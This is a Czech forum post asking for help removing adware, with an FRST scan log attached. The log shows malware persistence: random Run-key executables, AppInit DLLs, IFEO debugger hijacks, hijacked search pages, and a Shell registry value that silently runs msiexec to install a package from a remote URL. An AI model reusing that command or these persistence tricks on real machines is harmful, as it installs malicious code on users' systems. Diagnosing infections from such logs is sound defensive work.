Zdravím,
nedávno jsem stáhl nějaký škodlivý soubor a od té doby se mi automaticky otevírá Internet Explorer a Google Chrome. Na obou prohlížečích vyskakují reklamy. Našel jsem exe aplikace, které by toto mohly způsobovat, jenže mi nejdou odstranit normální cestou. Dokázali byste mi poradit, jakým způsobem je odstranit? Také přikládám log:
Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:05-03-2016 01
Ran by Uzivatel (administrator) on UZIVATEL-PC (01-07-2017 23:01:29)
Running from C:\Users\Uzivatel\Desktop
Loaded Profiles: Uzivatel (Available Profiles: Uzivatel & DefaultAppPool)
Platform: Windows 7 Home Premium Service Pack 1 (X64) Language: Čeština (Česká republika)
Internet Explorer Version 11 (Default browser: IE)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/33 ... scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(TODO: <Company name>) C:\ProgramData\AppmallosayoV\AppmallosayoV.exe
(DeviceVM, Inc.) C:\Program Files (x86)\DeviceVM\Browser Configuration Utility\BCUService.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe
(Nero AG) C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
() C:\ProgramData\PrefsSecure\Nettrans.exe
() C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe
(PACE Anti-Piracy, Inc.) C:\Program Files (x86)\Common Files\PACE\Services\LicenseServices\LDSvc.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Safer Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cnext.exe
() C:\Windows\Temp\00010362\conhost.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe
(AVAST Software) C:\Users\Uzivatel\AppData\Local\background_fault\aswRD.exe
() C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
(PYXQ) C:\Program Files\FNJLTCS41J\FNJLTCS41.exe
() C:\Windows\Temp\00010320\msiql.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe
() C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\Upd.exe
(DeviceVM, Inc.) C:\Program Files (x86)\DeviceVM\Browser Configuration Utility\BCU.exe
(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\MOM.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\CCC.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
() C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe
(Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
() C:\Windows\Temp\g985B.tmp.exe
() C:\Windows\Temp\g985A.tmp.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe
(Microsoft Corporation) C:\Windows\System32\taskmgr.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
==================== Registry (Whitelisted) ===========================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [Skytel] => C:\Program Files\Realtek\Audio\HDA\Skytel.exe [1833504 2009-08-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [8067616 2009-08-18] (Realtek Semiconductor)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-03-22] (Adobe Systems Incorporated)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1353680 2016-11-14] (Microsoft Corporation)
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4926664 2016-02-26] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)
HKLM\...\Run: [Login] => C:\Windows\Temp\00010362\conhost.exe [1870848 2017-06-29] () <===== ATTENTION
HKLM-x32\...\Run: [Uninstall0001] => C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\upd.exe [57344 2010-07-25] ()
HKLM-x32\...\Run: [mobilegeni daemon] => C:\Program Files (x86)\Mobogenie\DaemonProcess.exe
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)
HKLM-x32\...\Run: [seznam-listicka-distribuce] => C:\Program Files (x86)\Seznam.cz\distribution\szninstall.exe [1062472 2013-05-16] ()
HKLM-x32\...\Run: [BCU] => C:\Program Files (x86)\DeviceVM\Browser Configuration Utility\BCU.exe [346320 2009-08-04] (DeviceVM, Inc.)
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2313408 2016-04-07] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKLM-x32\...\Run: [PlaysTV] => "C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv_launcher.exe" --startup
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-04] (Advanced Micro Devices, Inc.)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
Winlogon\Notify\igfxcui:
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [LightScribe Control Panel] => C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe [2736128 2010-08-16] (Hewlett-Packard Company)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [RGSC] => C:\Program Files (x86)\Rockstar Games\Rockstar Games Social Club\RGSCLauncher.exe /silent
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.autoupdate] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\szninstall.exe" -c
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.szndesktop] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\bin\wszndesktop.exe" -q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [NextLive] => C:\Windows\SysWOW64\rundll32.exe "C:\Users\Uzivatel\AppData\Roaming\newnext.me\nengine.dll",EntryPoint -m l
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [ooVoo.exe] => C:\program files (x86)\oovoo\oovoo.exe /minimized
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [background_fault] => C:\Users\Uzivatel\AppData\Local\background_fault\aswRD.exe [1419576 2017-04-06] (AVAST Software)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [YeaDesktop] => C:\Program Files (x86)\YeaDesktop\YeaDesktop.exe /autostart
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [bk31j25anhm] => C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0\4b4rfevie0f.exe [8192 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [gsigrmnf2sx] => C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq\afql5c043dd.exe [8192 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [msiql] => C:\Windows\Temp\00010320\msiql.exe [2072576 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [mzl0du1xbd3] => C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz\qglbivcetef.exe [8192 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [nfma42ne12k] => C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k\1juvlcals45.exe [8192 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8y ... Y4NWU2Rq== /q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellExecuteHooks: - {E4CA1236-0398-11E7-A247-64006A5CFC23} - C:\Users\Uzivatel\AppData\Roaming\Putodom\Ljeent.dll No File [ ]
ShellIconOverlayIdentifiers: [ AccExtIco1] -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco2] -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco3] -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CodeMeter Control Center.lnk [2015-03-03]
ShortcutTarget: CodeMeter Control Center.lnk -> C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe (WIBU-SYSTEMS AG)
Startup: C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\OpenOffice.org 3.2.lnk [2010-03-16]
ShortcutTarget: OpenOffice.org 3.2.lnk -> C:\Program Files (x86)\OpenOffice.org 3\program\quickstart.exe ()
GroupPolicy: Restriction - Chrome <======= ATTENTION
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{40F681A8-A980-409A-B0DD-4051D8BB9255}: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{CA7287A7-18E5-45C5-B9EC-4F4B539AEC8E}: [NameServer] 217.77.165.81 217.77.161.131
Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661771000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/?pc=UE12&ocid=UE12DHP
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,First Home Page = hxxp://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
URLSearchHook: HKLM-x32 -> Default = {CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
URLSearchHook: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 - SearchHook Class - {BC86E1AB-EDA5-4059-938F-CE307B0C6F0A} - C:\Program Files (x86)\DeviceVM\Browser Configuration Utility\AddressBarSearch.dll (DeviceVM, Inc.)
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> ielnksrch URL = hxxps://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRHOjYN9_5EdL7qPpMxkTHV_qFAQNhC1dghaROMT2oAaunqh9AokC_COMcO2MdZTZDPUkUFC5PG1GGSNG-dCq-2I1AF289bvA1LOURetAaYJXWqxF0tm_jfBV8wAKgFM_Jd6OeDJFYTC_gskJ83BKVbDfap2fRXFRupLz0Bqpfa3umHgG13_ej894d0mZi&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {1BC0D21C-672E-4049-AEFB-7589E730CC9D} URL = hxxp://encyklopedie.seznam.cz/search?q={searchTerms}&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {24231C4F-6B02-48F6-8DA8-F8109976FB33} URL = hxxp://search.seznam.cz/?q={searchTerms}&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2542C02A-3967-4CFE-8EEC-990CFD9D94E4} URL = hxxp://www.novinky.cz/hledej?w={searchTerms}&s ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {3561EA69-50EB-4855-BB78-E72E93193330} URL = hxxp://www.google.com/custom?client=pub-379428 ... earchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {46B57E5F-2706-4863-8F63-8D5FE7A0759F} URL = hxxp://www.zbozi.cz/?q={searchTerms}&r=campmoz ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {8A5604A0-BBA9-47FE-8797-3BBD3C8EAEFB} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=en_cz&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A53725A9-A238-48C1-9C72-A061C266ED13} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=cz_en&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B5BB941C-AAE1-41D4-8DB6-E622A0C3BA88} URL = hxxp://www.mapy.cz/?query={searchTerms}&source ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B94AF99D-D3FC-426D-8731-18FF6561EC08} URL = hxxp://www.firmy.cz/?q={searchTerms}&sourceid= ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E528EADF-38EC-40af-BBCF-5F15AABA9928} URL = hxxp://uk.search.yahoo.com/search?p={searchTerms}&fr=chr-devicevm&type=IEBD
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E561C76C-DDED-4690-BAEF-A364A43D2940} URL = hxxp://tv.seznam.cz/hledej?w={searchTerms}&sourceid=QuickSearch_13415
BHO: No Name -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> No File
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
BHO-x32: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Program Files (x86)\Spybot - Search & Destroy\SDHelper.dll [2009-01-26] (Safer Networking Limited)
BHO-x32: flash-Enhancer -> {5A60B6BB-FA81-4EFA-AB9C-A820E2143736} -> C:\Program Files (x86)\AmiExt\flashEnhancer\ie\flashEnhancer.dll [2014-01-12] ()
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\ssv.dll [2015-07-19] (Oracle Corporation)
BHO-x32: Pomocná služba pro přihlášení k účtu Microsoft -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\jp2ssv.dll [2015-07-19] (Oracle Corporation)
Toolbar: HKU\.DEFAULT -> No Name - {30F9B915-B755-4826-820B-08FBA6BD249D} - No File
Toolbar: HKU\.DEFAULT -> No Name - {32B29DF0-2237-4370-9A29-37CEBB730E9B} - No File
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
Toolbar: HKU\.DEFAULT -> No Name - {338B4DFE-2E2C-4338-9E41-E176D497299E} - No File
Toolbar: HKU\.DEFAULT -> No Name - {FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5} - No File
DPF: HKLM {233C1507-6A77-46A4-9443-F871F945D258} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} hxxp://appldnld.apple.com.edgesuite.net/content.info.apple.com/QuickTime/qtactivex/qtplugin.cab
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258}
DPF: HKLM-x32 {4BFD075D-C36E-4F28-BB0A-5D472795197A} hxxp://download05.managerzone.com/soccer-3d/PowerLoader.cab
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0024-ABCDEFFEDCBA}
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0030-ABCDEFFEDCBA}
DPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll [2017-04-05] (Skype Technologies)
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
FireFox:
========
FF ProfilePath: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_dtid=TCH001&apn_ptnrs=AG1&apn_uid=8423644100354278&o=APN11459&q=
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_26_0_0_131.dll [2017-06-16] ()
FF Plugin: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelogx64.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll [2016-04-07] (Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_26_0_0_131.dll [2017-06-16] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll [2013-04-03] (Adobe Systems, Inc.)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll [2014-02-18] ()
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
